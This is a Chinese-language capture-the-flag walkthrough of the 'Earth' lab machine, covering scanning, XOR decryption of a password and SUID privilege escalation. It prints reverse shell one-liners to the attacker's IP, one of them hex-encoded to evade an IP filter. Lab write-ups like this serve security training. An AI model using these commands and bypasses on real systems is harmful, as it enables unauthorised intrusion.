kali IP地址为192.168.127.139
靶机 IP地址为192.168.127.140
1、先扫描主机名
2、探测此主机开放的端口服务,我们发现开放了22 80 443端口
看上图,我们发现443端口有两个dns解析,在hosts添加dns解析,vim /etc/hosts
192.168.127.140 earth.local
192.168.127.140 terratest.earth.local
3、收集信息
①先访问一下earth.local域名,发现有之前的信息
紧接着我们kali扫描此域名下的目录
如上图,有域名,我们进入amdin目录看看,是个登录界面
②再去看另一个域名terratest.earth.local情况
探测web目录下有哪些内容
发现有两个目录可以访问,尝试看下robots.txt内容
发现有个testingnotes文件,但是不知道是何种格式,自己尝试测试发现是txt文件格式
翻译下内容如下
测试安全消息系统注意事项:
*使用XOR加密作为算法,应该是安全的RSA使用
*地球已经确认他们收到了我们发送的信息。
*testdata.txt用于测试加密。
*terra被用作管理门户的用户名。
待办事项:
*我们如何将每月的密钥安全地发送到地球?或者我们应该每周换一次钥匙?
*需要测试不同长度的键来防止暴力。钥匙应该有多长?
*需要改进的消息界面和管理面板的界面,它目前是非常基本的。
从上面内容得到了一个信息,加密算法是 xor,有个testdata.txt文件,用户名是:terra
所以我们继续访问testdata.txt文件
翻译// 根据辐射定年法和其他证据,地球形成于45亿年前。在地球历史的最初10亿年里,海洋中出现了生命,并开始影响地球的大气和表面,导致厌氧生物的激增,后来又出现了好氧生物。一些地质证据表明,生命可能早在41亿年前就出现了。
使用这个文件内容用xor加密方式与之前的消息运算。需要先将文件内容转化16进制再运算
在第一个输入信息,配合第二个加密算法,从而得到第一处下面的信息,通告异或算法,知二求一,从而算出我们想要的内容,依次把第一个的三行数字进行运算,发现只有第三个的有规律,可以直接算第一个信息里面的第三个,python的代码如下:注意:难点之一
import binascii
keys = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
testdata = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."
#先把testdata转换成二进制数据然后再用十六进制表示
testdata = testdata.encode(encoding = "utf-8 ")
testdata2 = binascii.b2a_hex(testdata)
print(hex(int(keys,16) ^ int(testdata2,16)))
16进制解密得到第三条信息里面:
用户名:terra 密码:earthclimatechangebad4humans 登录admin网页成功,可以执行命令
4、利用漏洞
ls查看一下有哪些文件
查找指定flag文件有哪些
查看此文本的内容,得到第一个flag
之后我们信息利用
使用反弹shell链接到靶机,注意:难点之二,此处写的IP地址为攻击机kali的地址,不要写成靶机的地址。
bash -i >& /dev/tcp/192.168.127.139/1234 0>&1
反弹shell不成功。
发现是禁止远程链接,发现需要对ip地址进行16进制的转化绕过。
bash -i >& /dev/tcp/0XC0.0XA8.0X7F.0X8B/1234 0>&1
查看到攻击者拿到shell,链接成功。
5、进行信息提权
当前权限为apache,所以需要提权,查看内核版本和发行版本
尝试suid提权,所以为了提权,我们查找拥有suid标识的文件
观察到有文件是reset_root,其含义是重置root, 尝试运行,发现报错
翻译为:检查是否存在重置触发器...重置失败,所有触发器都不存在。
我们先strace安装
apt-get install atrace
sudo apt-get instasll strace 权限不够用sudo
紧接着文件利用,本地没有调试命令,利用nc的传输功能,把靶机上的文件传输到本地查看,否则太麻烦了。先kali开启监听,然后利用靶机的shell传输文件。
接受到这个文件,先给这个文件赋予执行的权限,再进行调试
在靶机上tuoch创建这三个文件
/dev/shm/kHgTFI5G
/dev/shm/Zw7bV9U5
/tmp/kcM0Wewe
再次执行reset_root 提权成功
切换root用户,输入密码
查看到flag,最终攻击成功。
总结:
本次靶机的流程:先 nmap 扫描端口,扫到 443端口的两个dns解析,然后我们写入hosts后,紧接着去测试域名,在测试的域名中分析网站信息,找到一些留下的文件和加密的测试数据密钥,发现xor算法等写脚本,解密得到密码,从而登录正式系统管理员个人门户网站。登录到后台后,发现一处命令执行功能,对xx.xx.xx.xx的ip数据有限制,采用16进制绕过反弹shell成功。之后发现具有suid权限的 reset_root 文件,执行失败,通过strace 命令跟踪执行时的调用,发现缺少三个文件 ,创建后,运行成功,获取到重置后的root密码 su root 获取 root权限